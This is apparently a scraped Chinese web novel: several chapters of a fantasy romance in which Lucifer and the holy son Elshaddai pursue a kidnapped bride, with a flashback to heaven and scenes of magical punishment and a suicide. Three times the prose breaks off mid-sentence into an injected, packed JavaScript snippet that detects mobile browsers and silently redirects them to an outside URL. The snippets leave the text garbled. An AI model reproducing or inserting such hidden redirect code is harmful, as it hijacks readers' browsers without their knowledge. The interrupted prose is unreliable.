论讨人喜欢的技巧,还真没谁能超越玛门。 “难得听你称赞不能吃的东西,我也好奇,托了人替我寻来,也没费什么事。”玛门笑道。 他说得轻松,别西卜却未轻视其中艰难,郑重道谢。 玛门摆摆手:“你这么客气,下次我可不敢再给你带东西了。”他又正色道,“我打听过,这花虽然味道好,但不能吃,虽不致命,却会有别的危害。” 别西卜正伸出去的手一顿,讪讪道:“……好,我知道了。” “时辰不早了,你早点休息。” 玛门走出书房,却没有立刻离开,他在门边站了片刻,不出意料听见里面传来“咚”的一声,像有重物倒下。 他叫住路过的侍女:“你家主人睡着了,扶他回房休息吧。” 侍女连忙进书房一看,随即叫了其他的侍女围过来。 玛门回看一眼,悄无声息地离去。 新郎是被一捧凉水泼醒的。 他呻|吟一声,睁开眼时,却见自己正牢牢地被绑在约里家院子里的树上,约里一手拿着没了水的木盆,一手握着柴刀,居高临下俯视他。 “你要干什么?”新郎恼怒地挣扎起来,却又有些底气不足,“约里,我们两家一直都交好,我父母对你和阿亚从来都照顾有加,你……你别忘了恩!” 果真,一切和先生所说的一模一样。 约里冷漠地看着他。 先生在与他一起回来的路上,就告诉了他新郎会有的反应,他……他竟然,还为这种人怀疑了先生的好意!真是该死! 他不再对伊勒沙代有丁点儿质疑,面无表情地逐字逐句复述伊勒沙代教给他的话,新郎也如预料般变了脸色。 新郎慌乱地左顾右盼,但此刻镇民们都已离开,他再如何恐惧焦急,也只能看见约里和伊勒沙代二人而已。 他满眼仇恨地看着在婚房内查看的伊勒沙代,结结巴巴开口:“约,约里哥,是那个祭山族奴隶让你威胁我的是不是?你别听他的,他身份卑贱,去了别处都会被排挤,只能缩在这镇子里躲着,他就是嫉妒咱们不是下等的祭山族人,有机会能出去!你看镇长不也对那些管事大人殷勤着吗……啊!不要,不要!” 约里听到一半已是面色阴沉,心里最后一丝容忍也彻底消散,丢下木盆,捉起新郎的右手,锋利的柴刀抵上了他的大拇指。 “你这随从挺聪明呀,还知道从哪儿动刀效果最大。” 路西法不知何时又无声无息地出现,懒懒散散地靠上伊勒沙代,苍白的掌覆上他手背,微微屈起,勾带着他的手停在窗框之上:“看这儿,那姑娘是被硬生生拽出去的。” 伊勒沙代目光却落在窗下,那角落里有一枚小金叶子,正是阿亚嫁衣上的装饰。 路西法随他目光看下去,笑吟吟道:“圣子,你真坏,方才所有人都在的时候,你分明就看见了它,却什么都不曾明说,偏要只做指引,让他自己去发现真相。一时的曲折换他一世的忠顺,可真是笔划算的买卖,难怪我座下的玛门费尽千辛万苦,也想来见你一面。” 伊勒沙代一默,路西法虽好似只在闲聊一般,但他并非常人,自然能听出其中试探之意,心知他多疑的毛病又犯了,无奈道:“路西,我与你座下魔王皆无私交,对于他们,我从来没有,日后也不会有结交之心,这一点,我可以向你保证。” “你这样说,倒像我小心眼,不允许你同他们来往似的,可真是叫我伤心。”路西法装模作样地叹气,“虽然,我那些下属们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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新郎刚松一口气,就见他又跑回来,他张嘴,还未出声,就又被狠狠扇了一耳光。 这一下约里用尽全力,打得他头晕目眩,口角出血,竟昏了过去。 路西法可惜地叹气:“真是不顶用。” 他松开伊勒沙代,在他看不见的地方嫌弃地拍了拍衣服。 “路西,你去神坛做什么?” 伊勒沙代背对着他,忽然发问。 路西法一顿,随即扫视自己全身,却一无所获。 伊勒沙代转身,抓起他的手腕,眸色冷沉:“你的指甲,沾到了神坛特制的材料。” 路西法垂眸看去,果真他指尖还有一点特制材料的奇特气味。 他还真是敏锐。 “现在才怀疑是我抓走了她,是不是有点晚?”路西法乐不可支,眉眼间盈满笑意。 “你不会。”伊勒沙代仍紧攥着他的手腕,“你从来是骄傲的,你不会对除我以外的人下手,因为你觉得他们都不配。” “这么说,你很了解我?”路西法弯起唇角,眉眼间却没了笑意,“想起来了?” 伊勒沙代却只是盯着他的眼睛。 “她已经死了,对不对?” 9. 你要去吗 路西法不仅不惧,还主动凑近伊勒沙代:“这么关心她?难不成……你喜欢她?” “不可胡言。”伊勒沙代蹙眉。 难得见他如此严肃。 路西法冷笑一声,转身朝外走去。 路过那晕死的新郎身边时,他瞥了一眼,眸光冷漠,随即不留恋地离去。 倒是伊勒沙代主动上前解开了他身上的绳子。 新郎不知何时睁开眼,他顶着满脸的泪痕汗水,看向伊勒沙代的眼神却极为凶狠怨恨:“你这个卑贱不祥的祭山族奴隶,一定是你教唆约里来这样对我的!像你这样歹毒下贱的奴隶,一出生就该被打死!” 他真的不明白,为什么约里兄妹这么维护这个不祥的祭山族奴隶,难道就凭他长着一张迷惑人心的脸吗? 新郎越发愤怒,目光里满是嫉恨,出言也越发下流:“……我说阿亚为什么放着富贵生活不愿意去呢,看来是被你迷惑了!说不定你们两个早就有奸|情……” 他还没说完,只觉喉咙和口腔都升起一片灼烫之感,仿佛有人将烧得通红的木炭塞|进了他的嘴里喉中,又将他的两片嘴皮死死封紧,令他必须接受这酷刑,不得叫喊反抗。 新郎目眦欲裂,恐惧地看着面前依旧神色平静的伊勒沙代,胸腔剧烈张合,鼻腔里重重呼吸,却仿佛嗅到了烈火灼烧肉类的气味,他越发慌乱,想要站起身,但又发现自己浑身动弹不得。 “非礼勿言。”伊勒沙代面上依旧带着温柔浅淡的笑意,好似只是在劝告一个不懂事的小孩子。 新郎万分惊恐,他突然觉得自己好像重新认识了这个一贯性表现得温柔善良的祭山族奴隶,他竭力控制着自己往后,想离这个可怕的奴隶远一点,但他身后只有大树,再远也远不到哪里去。 这贱奴身边的怪事不是一般要过几日才会显现吗? 现在怎么会…… 伊勒沙代站起身,温声道:“放心,过一会儿自会解开。我不会杀人。” 新郎很明显并不相信他的话,痛苦扭曲的脸上满是戒备。 但他的信任对于伊勒沙代而言不值一提。 他在意的另有其人。 伊勒沙代不紧不慢地移步,也朝神坛的方向而去。 当约里真正站在神坛后的杂物房外时,他伸出去的手却颤抖着,不敢真的推开那扇薄薄的门。 他害怕看到的不是鲜活的妹妹。 这时,一只手从他背后伸来,未有犹豫,直接推开了那扇门。 约里一时呼吸都停止,他抖着目光看了一圈。 令他安慰的是,里面的不是阿亚的尸体。 令他慌乱的是,里面空无一人。 伊勒沙代越过身体僵直地停在原地的他,径直向前,在一处蒙了布的方桌前停下,蹲下|身,再起身时,不动声色地挡住了地上一小片血迹,修长指间多了一张碎纸片。 约里恍恍惚惚回神,凑过去看了看,努力辨认,却依然认不出来,只能看着伊勒沙代阅览那纸片,嗓音干涩:“先生……阿亚,是被那些管事带走了吧?” 他声音中有些祈求。 他从小父母双亡,野生野长,目不识丁,还是结识伊勒沙代以后,才被他教授了一些字,现在他只恨自己平时太过懒惰,识字不多,连唯一的讯息也读不懂。 伊勒沙代颔首,轻描淡写道:“他们带走了阿亚,让我今晚去找他们,然后他们就会放了她。” 不能去!他们不怀好意,必定是已经设下陷阱,还不知道会怎么对您! 约里想这么说,但他喉结上下动了动,干得生疼的嗓子里发不出一点儿声音。 他突然很恨自己。 他为什么这么无能?他为什么这么自私? 他既保护不了妹妹,又做不到大义凛然地对自己的救命恩人! 正在他痛苦纠结之时,身后传来一声嗤笑。 路西法斜倚着门框,懒懒散散道:“我可以直接告诉你,他们早就设下天罗地网,一定要将你抓住,而一旦你落入他们手中,必定会遭受百般凌|辱折磨,求生不得求死不能。”他好整以暇地看着伊勒沙代,不想错过他的神情变化,“所以,伊勒沙代,你要去吗?” 他这番话乍听吓人,细想却能发现内里暗藏着极为明显的漏洞——那些所谓贵族的管事不过是想拿伊勒沙代卖个好价钱,怎会伤了他的体肤损害他的价值? 真正对“凌|辱折磨”的跃跃欲试,唯有说出这话的魔鬼罢了。 不能去! 约里心中大喊道。 但他终究只是愣愣地盯着伊勒沙代身前的那块地面,连抬头也不敢。 “我会去。”伊勒沙代声音温柔又坚定,如是回答道。 约里惊讶地抬起头,眼里满是不可置信和藏不住的惊喜。 路西法笑容越发开怀,语气中却透出一抹怜悯:“伊勒沙代,你真是个大好人啊,只是在这人世间,做好人真是太难了,你瞧,明知你会受难,他们却只想着自己能得偿所愿并因此高兴,唉,我真是心疼你。” 约里被他厚颜无耻的话气得瞪大了眼睛,却又无可辩驳,霎时心中的愧疚压倒了一切,脱口而出:“先生,不能去!” 他说完,身体就颤抖起来,止不住的懊悔和恐慌又涌上心头。 那阿亚怎么办? 若伊勒沙代不去,她极可能会遇险的! 他太沉浸在自己的心情中,没有发现,路西法不知何时在一步步靠近他。 幻象随之渐渐形成。 遍体鳞伤的“阿亚”痛苦地哭喊着约里的名字,却只能无助地死在血泊之中,她睁大的眼睛紧紧盯着门口的方向,像是临终前还在渴求谁的到来。 约里呼吸急促,面色发白,眼神直勾勾地盯着一个方向,颤抖的唇中反复念着阿亚的名字。 路西法的手搭上了他的肩,轻飘飘地一句话压垮他的理智:“既如此,那你准备给她收尸吧。” “不要!”约里大喊,干涩的嗓子都叫破了音。 伊勒沙代眉心几不可见地一蹙,也上前,握住路西法的手腕,强行抓了下来。 约里眼前的幻象刹那间消失不见,他猛抽一口气,连连后退,跌坐在地上。 “肆意操纵戏弄旁人的情感,好玩吗?”伊勒沙代沉声道。 路西法惊奇道:“不好玩啊,你怎么会觉得好玩?” 不好玩他还这么做? 伊勒沙代没想到一向对自己所做的坏事坦诚自豪的他居然会矢口否认,不由得一默。 “比起这个,我更喜欢……”路西法笑起来,另一只手覆上伊勒沙代的手背,“旧友故交,反目成仇,大打出手,你死我活。” 他喜欢所有生灵背叛自己感情的模样。 这才对,这世上,根本没有始终如一的感情。 伊勒沙代沉默着拨开他的手。 路西法不以为忤,笑道:“那么说定了?今晚我会等你来的,可不要让我失望。” 这一局,无论伊勒沙代怎么选,都会是他赢。 若他不去,自然是路西法喜闻乐见的与旧友形同陌路甚至反目成仇的结果。 若他去,那就更好了,路西法虽因契印无法自己出手伤害他,其他人类可没这个限制。 路西法心情极好地离开。 约里愣愣地瘫坐在地上,看着伊勒沙代离他越来越近,他张了张嘴,却说不出话来。 “今晚我将去把你的妹妹带回来。”伊勒沙代道,“明日早晨,我会离开这里。” 约里惊讶地抬起头,他本想问伊勒沙代要去何处,却突然反应过来,这好像与他无关。 他能以什么身份去问这个问题呢? 路西法方才所言勾起了他心里深深的愧疚,他只觉无颜面对伊勒沙代。 先生从来都仁善怜悯,而他,却如此自私。 “约里。” 他听见伊勒沙代唤他,无措地抬头。 “我有未完成的大业,前路漫长,比起如今,危险会更多更难,但我必须向前。” 伊勒沙代神情平静,就如当初从猛兽嘴里救下他,面对他的千恩万谢时,他也是如此淡漠。 约里恍惚想到,他好像一直都是这样的。 旁人的感激,憎恨,恐惧,对于他而言,好似都丝毫不值得放在心上。 先生在乎过什么呢? 约里下意识看向门口,那个矜傲美丽的神秘青年离去的方向。 他对先生的恶意太过明显,就连一向迟钝的约里都能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091853|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,先生不可能没发现。 但先生…… 好像,很早就与他相识,深知他的脾性,且并不介怀。 “……他要与您同行吗?”约里不知为何,干巴巴地问了出来。 他窥见伊勒沙代的神情忽地柔和下来,竟微微笑道:“他恐怕不会愿意。” 不待约里继续问,他又道:“但他必须与我一起,这是神的谕令。” 我的旨意,他不可违抗。 伊勒沙代隐下后半句,面上笑容温柔圣洁。 阿斯蒙蒂斯殷勤讨好地脱下外衣铺在石头上,请路西法坐下,又掏出一把柄骨雪白的扇子给他扇风,做完这些才小心翼翼地问:“陛下……您传我来所为何事啊?” 路西法示意他扇快些,似笑非笑:“现在才心虚?” “我、我有罪,陛下,但这事还得怪那狡诈奸滑的圣子,他利用了我一片忠心,真是可恶!陛下,他不可留啊,您说咱们要不要趁他还没成长起来……”阿斯蒙蒂斯结结巴巴地试图转移话题。 一听就是人家给他准备好的说辞,叫他背下来,偏偏阿斯蒙蒂斯就是这么个背词都不顺畅的,白费他人一番努力。 不过这些小事,对路西法所想之事没有妨碍,路西法纵使心知肚明,也不会与他们计较。 “不用,他活着比死了的意义更大。”路西法随意道,“方才你说,你觉得他……狡诈奸滑?” 阿斯蒙蒂斯暗自松了口气,狠狠点头。 “我也这么觉得。”路西法道。 阿斯蒙蒂斯眼睛一亮,随即又有些疑惑:“您既然知道,那您的意思是……” “你觉得弥赛亚性情如何?”路西法忽然问道,“我要听实话,不准只为讨好我胡说。” 阿斯蒙蒂斯吓得扇子差点掉地上。 这是什么要命的问题? 他又不是不知道当年陛下为何堕天! 他那时候可是在场的天使之一! 说实话,他觉得弥赛亚这个圣子……就那样,标准的天国生灵,同其他天使也没什么特别,善良公正心怀大爱,仅此而已。 但这些都是好词,他怎敢拿来在陛下面前形容陛下的仇人? 他脑袋极速运转,最终含含糊糊道:“我不太记得他了,好像,呃,和拉斐尔梅塔特隆他们差不多吧。” 路西法明白他的迟疑是为何,只轻笑一声,道:“是啊,差不多。所以,怎么做得出来直接烧毁冒犯者口舌喉腔的事呢?” 方才在约里家之外,路西法其实并没有走远。 他早已打听过伊勒沙代平时的为人和性情,那么以伊勒沙代的素日的行径而言,他必定会去帮那个新郎解开束缚,而那新郎嫉妒憎恨他已久,也必定会口出狂言,说不定就会说了犯他忌讳的话。 路西法很想看看,那时伊勒沙代会如何处理。 后续不出他所料,一切正如他所想那般发展。 新郎痛苦哀嚎的声音落在路西法耳中,他本没有放在心上,以为这不过也是幻术罢了,然而待到伊勒沙代走远,他返回院中时,却发现新郎已经痛得晕死过去。 路西法心头闪过一丝怀疑。 他上前掰开新郎的口唇,竟发现,新郎外表毫无伤痕,口唇以内却都已被灼烧成了一片焦化恶臭之态! 路西法嫌恶地扔开他。 新郎并没有死,但他未来的日子,比死还可怕。 不能说话,不能进食,日日忍受逐渐腐烂的痛苦,而一张嘴所有人都只会想远离,且这奇特之状必定被传为妖邪,人人厌弃。 他又是绝不会愿意自尽的怕死性格,那就要么饿死,要么生生痛死。 路西法眸光深沉。 整个天国,谁都不会用这样的手段。 除了…… 阿斯蒙蒂斯在一旁还有些不在状况:“这……也许他亦被人类躯体影响了?” 路西法摇摇头,道:“阿斯蒙蒂斯,我给你一个将功折罪的机会。” 阿斯蒙蒂斯激动地道:“但凭陛下吩咐。” “你去查查,圣子从天国降生人间的全部过程,一个细节都不能放过。”路西法眯起殷红竖瞳,内里杀意暗涌。 耶和华……他与你,究竟是什么关系? 10. 不堪过往 入夜之后的小镇寂静无比,像是知道这不普通的一天将有一个不普通的收尾,所有镇民不约而同早早闭门熄灯。 伊勒沙代推开门,却见路西法正在门外,仰头看着夜空中那轮高悬的皓月,不知在想什么。 “你要与我同去?”伊勒沙代有些意外。 他还以为他会在镇长家等着看好戏。 “不可以?”路西法反问。 当然没什么不可以。 只是各怀机锋却和平地并肩而行,太过奇异。 “你离开天国的时候,也是满月。”路西法冷不丁地开口。 伊勒沙代眉心浅蹙,路西法微微偏过头,看向他:“耶和华为何不来送你一程?反而让你……在约定的时间之前独自离开水晶天,去寻梅塔特隆和米迦勒。” “兴许那时祂有更要紧的事亟待解决。”伊勒沙代目光坦荡地回望,“祂在神殿俯瞰三界,所见的,只会是最宏伟之处。” 微小的,细枝末节的,祂也知道,但…… 不在意。 路西法嗤笑一声。 “路西,你总是在想祂。”伊勒沙代忽道。 路西法竖瞳蓦地凝成一线。 须臾,缓缓散开。 “我当然想祂。”路西法温柔低声道,好似与情人私语,“我想祂死——日以继夜,片刻不歇。” “恨亦是想念。” “那我可是全三界最惦念祂的了。” 是吗? 伊勒沙代道:“到了。” 他先上前一步,叩响了镇长家的大门。 门后传出一阵动静,有男女的笑声格外张扬,待又过一会儿,才有一个高壮的侍卫来开了门。 他肉|体凡胎,只顾用嘲弄不屑的目光瞧着伊勒沙代,却没发现路西法已径直从他身侧进了门。 壮汉上下打量他几眼,才冷哼一声:“进来吧,别让管事大人等久了。” 见伊勒沙代置若罔闻,他脸色当即不太好看,但一想到过会儿他的下场,壮汉又高兴起来。 他这一番心情变化都体现在脸上,路西法单是瞧见一眼,便极为嫌弃。 路西法自顾自选了个能看好戏的位置坐下,还从不知何时取了一小坛酒,浅饮细酌。 伊勒沙代向他处投来一瞥,他眉眼含笑举杯回敬。 不待伊勒沙代再回应,面前的房门便被粗暴地打开,那对中年男女坐在房内,目光落在伊勒沙代面上,都止不住流露出贪婪之意。 仿佛透过他,能看见何等的财富。 中年男人清了清嗓子,仰起下巴:“看到那封信了?你这么聪明,应该能猜到吧?想让那个丫头回去,你就得留下。” “我要带她回去。”伊勒沙代好似没听明白他的意思,只如是温和平静道。 中年女人一拍桌案,把桌上的一小盆睡莲都震得抖了抖,她气势汹汹地指着伊勒沙代:“别在那儿装傻!今天你既然来了,就别想再走出去!” 路西法隐晦地翻了个白眼。 早干什么去了? 要是早些时候直接把那瓶药用在伊勒沙代身上不就好了? 非要贪多,想再把那个女人也一并带走,自作聪明用什么一石二鸟之计,如今能带走一个就不错了。 不过,路西法想,若光凭他们,就算再有如何周密的计划,应该也是一个也带不走的。 伊勒沙代可不是泛泛之辈。 但他既在这里,自然会找准时机助他们一把。 路西法懒懒散散地举杯又饮,这坛酒是他从万魔殿的酒窖中随手取的,现在尝起来,倒是颇为醇厚。 只是有些回涩。 等等…… 回涩? 路西法眸光一冷,正要起身,并不陌生的黑沉倦意霎时吞噬殆尽他的意识。 ——正如千年前的那个晚上。 恍惚间,似有一只冰凉而骨节分明的手覆上了他的面容,遮去他的视野。 “耶和华……”他无意识地喃喃道。 朦胧中,依稀有一声叹息般的回应。 似有还无。 “这次的典礼,父神也会出席吗?” “以往都会的……路西菲尔殿下主持的典礼,父神何时不曾现身过?但是这次……” “唉,你说,路西菲尔殿下为什么要当众替那个有罪的堕天使求情呢?殿下伴神多年,分明应当知晓,父神绝不可能会宽恕那个犯下重罪的堕天使……现在,父神这段时间允许其他炽天使进入水晶天,唯独只拒绝路西菲尔殿下!我们奉命来商议典礼对接之事,若是典礼因此缺了一环,一会儿我都不知该如何向参与典礼的后辈说明……” “你没听说么?父神那时严厉斥责了路西菲尔殿下,甚至勒令他闭门自省,还是梅塔特隆殿下他们一直求情,父神才同意过了这次典礼再禁足。” “殿下怎会为一个堕天使如此失智?难不成……” 在前方引路的天使再也听不下去,轻轻咳嗽两声,打断这二位下界来客的窃窃私语,微笑着提醒他们已经到了梅塔特隆的会客厅。 他们连忙道谢进去,却不知,他们一路的言行都尽数落在当事者眼中。 “不高兴了?” 分明是疑问句,其中却并无疑问的含义。 路西菲尔微微侧身,半垂下长睫掩去眸中情绪,俯首避开上方的注视,道:“路西不敢。” “对我说谎没有意义,路西。” “路西不敢。” 位于水晶天圣山之巅,璀璨华美庄严巍峨的神殿之中又陷入一片死寂。 路西菲尔垂着头,确保从上方只能看见他恭敬严肃的神情,而非满是冷漠的眼眸。 神座之上,却传来轻笑声。 “路西,其他人的‘不敢’不是这样的。” 那是怎样? 诚惶诚恐,战战兢兢,痛哭流涕,自陈罪状,请求原谅? 他当然知道,但他不会这么演。 不屑于这么演。 路西菲尔感受到神明的目光落在他依旧挺直的脊背之上,只是其中并不如外人所猜测那般有愠怒不满,而仅有淡漠。 在他记忆中,创世神从未因任何事,任何生灵,有过“愤怒”这样的情绪。 盖因都不在意罢了。 “在你当众为他求情之前,就应该想到,此事会引起怎样的后果。如今,就连下界生灵也能因此堂而皇之在天国指责议论你,路西,以你的心气,怎能忍受?” 路西菲尔抿了抿唇。 创世神的确很了解他。 就算他知道自己做得确实不符合规则公理,但他依旧不认为其他任何人有资格议论他。 可到现在,承认自己因此不高兴了就是服软认输,他更不愿意。 于是路西菲尔始终一言不发。 神殿尖顶金辉流转,自琉璃般剔透的装饰物上滑落,映在他身上,点缀一片光华。 路西菲尔就是如此骄傲又倔强,即使面对创世神,也不肯低头。 不知过了多久,他好似听见了一声极轻的叹息。 转瞬即逝,就如幻觉。 “回去吧,典礼快开始了。” 路西菲尔俯身行礼,头也不回地离开了神殿。 他一出水晶天,就见梅塔特隆正在不远处站着,一看便知是在等他。 路西菲尔现下其实无心与这位心思缜密的同僚交谈,但刻在他骨子里的礼教又使他做不到无视他径直离开。 梅塔特隆像是一下子丢掉了素日的体贴细致,看不出他情绪不佳一般,主动上前,微笑道:“殿下,您与父神和好了?” 路西菲尔几不可察地皱了皱眉。 梅塔特隆今日怎么如此直白? 他悄悄放出法力试探,却没有任何异常的反馈。 ……也对,这里可是第八重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091854|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒星天,哪有恶魔能到得了这里,就算是玛门也不行。 眼前的梅塔特隆应当是货真价实的,只是今日可能确实没眼力见。 “父神并未表示宽恕我,待今日典礼之后,我会自请禁足思过。”路西菲尔平静道。 想必一时半会儿,创世神也不会愿意见他。 梅塔特隆一怔,眉心皱起,道:“殿下,那时父神已经同意不会禁足您了,您也知道,如果不是父神亦对您留情,就算我们求情也是无用……” “父神不曾明说不满,但此事毕竟是我冒犯在先,未反省足够之前,我无颜再踏入水晶天。”路西菲尔截住他的话,唇边缓缓露出一如既往的优雅得体的完美微笑,“走吧,梅塔,典礼还需要你我主持。” 梅塔特隆哑然,只得道:“殿下先请,我还有事,随后就来。” 路西菲尔点点头,先行一步。 这场典礼是天国为嘉奖勉励下界种族中的优秀正直之辈所设,而对于他们,路西菲尔一向都是那个只可遥望的北辰星一般的存在。 在一众充满崇拜的明亮目光中,路西菲尔笑容温柔端庄地完成了整场典礼,他如所有传闻中那般,高贵美丽,却又不失亲和力。 他站在天国恢宏肃穆的白金二色建筑之前,辽阔无垠的穹顶映衬他坚定笔直的身姿,渺渺云雾缭绕拥簇他优雅矜持的一举一动,钟罄丝弦做他不疾不徐如月下潺潺清泉般声音的点缀铺垫。 所有来宾都聚精会神地凝望着他,几乎要醉溺在那双缥碧色眼眸的温柔中。 “……望尔等日后言行如一,坚守己心,明从己志,忠于公道德行,不负于今日之己。” 路西菲尔说罢最后一句,台下众宾都纷纷激动地回应,看向他的目光比之前更加热切。 恰是时,有至明至威的光束以强势之态落在他身后,不仅台下众宾霎时面露惊讶议论纷纷,就连路西菲尔都微微睁大了双眸。 有了方才的不欢而散,他全然没有料到,耶和华还会来。 众宾惊讶之后都是喜悦,能受创世神训诫,他们自然都是求之不得。且……见创世神还是如此重视路西菲尔殿下,他们也为路西菲尔殿下高兴。 至于什么争执惩罚,应当都不过是下界生灵们以讹传讹夸大了吧? 路西菲尔率先反应过来,正要半跪下去,但还未屈膝,就已被柔和的光晕不容抗拒地扶起。 创世神对台下众宾勉励了一番,路西菲尔却未能听进去一个字。 他只顾垂眸盯着那仍轻轻搀扶他手臂的光晕。 神明一贯如此。 不可触碰,不可琢磨,不可直视,不可妄想。 好似虚幻一般。 既不可见不可闻,又无处不在。 路西菲尔忽地眉心紧蹙,身体一晃,像是有些发晕,朝着台下倒去。 有一直注意着他的宾客惊呼出声,但在神明面前不可失仪妄动,加之他们距离路西菲尔有相当一段距离,眼见他就只能摔下去—— 千钧一发之际,路西菲尔感觉到一只手臂揽住他的腰身,将他拉了回来。 有力的,冰凉的,像……石头一般。 轻轻搭在他腰侧的手修长又骨节分明,却冷得叫他想躲。 没有生命力,全不似“活着”之物。 路西菲尔胡思乱想着,却觉自己脸庞被手指触碰。 他睁大眼睛。 不对……不对! 耶和华不会摸他的脸。 耶和华不会有这样的轻浮之举! 路西法倏然睁开眼,掐住了眼前人的脖颈。 被抓个正着的人类手还依旧稳稳放在他脸侧,面上丝毫没有尴尬躲闪之意,反而神情无辜地看着他:“路西,你做噩梦了吗?” “是啊,做噩梦了。”路西法面无表情道,“梦到了我不堪的过往,梦到了一个该死的家伙。” 祂为什么……不能死呢? 11. 圣子之名 伊勒沙代点点头,识趣地没有追问下去。 其实不用问也能猜到,整个天国,配得上让路西法记恨的,其实只有一个而已。 路西法撑起身,却发现自己身上不知何时被多了伊勒沙代的外衣,而现在竟然已是破晓时分。 如今伊勒沙代还好好地在这里,足够说明很多事的结局了。 他挑了挑眉:“他们呢?都死了?” 伊勒沙代摇头:“我不会杀人。” 不过也仅仅是不杀而已,会不会因此而死,属于个人命数。 路西法环顾左右,此处还是镇长家的院子,只是格外安静,显得颇为诡异。 那对中年男女可不像是会这么安分的性子。 他撤下隐身,进入房中,却见那对中年男女瑟瑟发抖地缩在角落里,察觉到有人进来,那中年男人尖叫一声,连连磕头:“我有罪!我有罪!我不该对您不敬!求您高抬贵手……都是她!是这个女人先看中了您的外貌!也是她听信了魔鬼的话,用魔鬼的药去抓了那个姑娘!” 魔鬼本魔路西法情不自禁地攥紧了拳头。 一旁的中年女人破口大骂,扑上去狠狠撕扯那中年男人:“我呸!不要脸的东西!你出了主意现在就想全推到我身上?我告诉你,我死了,你也别想活着!” 两人就这样扭打到一起,身上的绫罗绸缎被撕扯成了破布,头上颈间的华贵饰品也都零零散散掉了一地,分外滑稽。 路西法一秒钟也待不下去,他觉得自己选择这两个蠢货就是个彻头彻尾的错误。 这还是他堕天以来头一次觉得自己有错。 都怪这两个成事不足败事有余的东西! 伊勒沙代一直安静地在门外等他,见他出来,唇角微微弯起,笑道:“若是还觉得困倦,不如回去再休息?这里不够舒适,不是能安寝的地方。” 他神色如常,言语温柔体贴,与里面两人惊恐万状的模样形成鲜明对比。 “他们的两个侍卫呢?”路西法忽略了他那番话,张望一会儿,却未见那两个壮汉的身影。 那么大两块人,总不能被伊勒沙代剁开丢了吧? 伊勒沙代闻言,面上露出两分羞惭:“……都怪我,并未恢复对法力的控制,一时没掌握好力度,他们现在应该是……失去神志了。” 两个横行霸道的打手,就这样被他吓疯了? 路西法惊奇地看着他。 伊勒沙代更加羞涩,他现在的躯体不过少年模样,又一贯温柔好性子,眉目亦是青涩柔和,望之可亲,路西法端详他许久,横看竖看都看不出他哪里可怕到能吓疯好几个经年混迹市井作恶多端的人,他刚刚可是看到,里面那两人身上一点儿伤口都没有,真的是纯被吓成这样的。 伊勒沙代迎着他的目光,耳尖渐渐变红,低声道:“路西……为何这样看着我?” “我也看中了你的容貌。”路西法歪了歪头,“你什么时候也来吓吓我?” 伊勒沙代一怔,不知想到了何处去,竟连面颊都染上绯色。 但路西法不过随口一说,说罢也就忘了。 兴许是因为方才梦见了耶和华,他现在对伊勒沙代倒没了那么多的反感。 总归不会有谁比耶和华更让他厌烦。 他半倚在门边,懒洋洋地问伊勒沙代:“找到那姑娘的尸体了?” 伊勒沙代叹道:“找到了。她是自尽的,里面那两人说,她听见了他们的谋划,不愿意随他们一起去王城,也不愿意成为谁用以作恶的器具。” 所以很坚定地自己撞向了尖锐的桌角。 她如此绝望,也如此勇敢,与那差点成为她丈夫的人分明是两个极端。 伊勒沙代将她的遗体安放在院中,月色下,还穿着艳丽嫁衣的姑娘却已经脸色青白,眉头紧锁,眼角还有干涸的泪迹。 婚礼变做葬礼,见者都为之伤心。 “你明知她已经死了,还夸口带她回去,真不怕希望越大失望越大,到时候,她的哥哥说不定就要彻底恨上你了。”撒旦陛下难得的竟然为一个不喜欢的人类分析起了利弊。 大概还是因为梦到耶和华太晦气了,所以才会做平时完全不可能做的事。 “自尽而亡的人类,灵魂进不了天国。”伊勒沙代轻声道。 路西法不置可否。 作为曾经的天国副君,他比谁都清楚这条规矩。 这世间所有生灵的性命,都只属于至高无上的创世神,只能由祂决定去留。 擅自做主,这是重罪。 “你难道在指望我?那你可想错了,首先,我的地狱不收无罪之人的灵魂;其次,就算收,那又如何?我不会帮你。”路西法微微仰起头,晨光熹微,落在他面容上,竟衬他远比那隐隐欲出的朝阳还耀眼夺目几分。 这般骄傲恣意,才与他绝世无双的容貌相配。 伊勒沙代依稀听见自己的心跳,这对于他来说是太过新奇的体验,但他并不厌恶。 或者说,和路西相关的一切反应,他都不会觉得厌恶反感。 他虽记忆不全,但从见到路西法第一面起,便自心底认定——无论如何,不能与他分开。 无论在何处,无论在何时,无论是何身份,无论用什么办法,都要……与他同在一起。 路西法对他的心不在焉十分不满,沉了脸,嘲讽道:“圣子,对着我出神可是天国的大忌,难道你连这个也忘了?” 确实没印象。 说实话,伊勒沙代脑中没有任何关于天国规则的记忆,他怀疑自己从前可能压根没去看过。 不过这就不能对路西说了。 毕竟,他可是《天国公规》的主编。 “抱歉。”伊勒沙代非常诚恳,“我可以自己解决这件事。” 路西法微微眯起眼。 难道……伊勒沙代能复活那个姑娘? 这可是连他都做不到的事。 或者说,只有一个人能做到。 他霎时心念百转,却只是懒懒笑道:“是吗?那我可要好好见识一下了。” 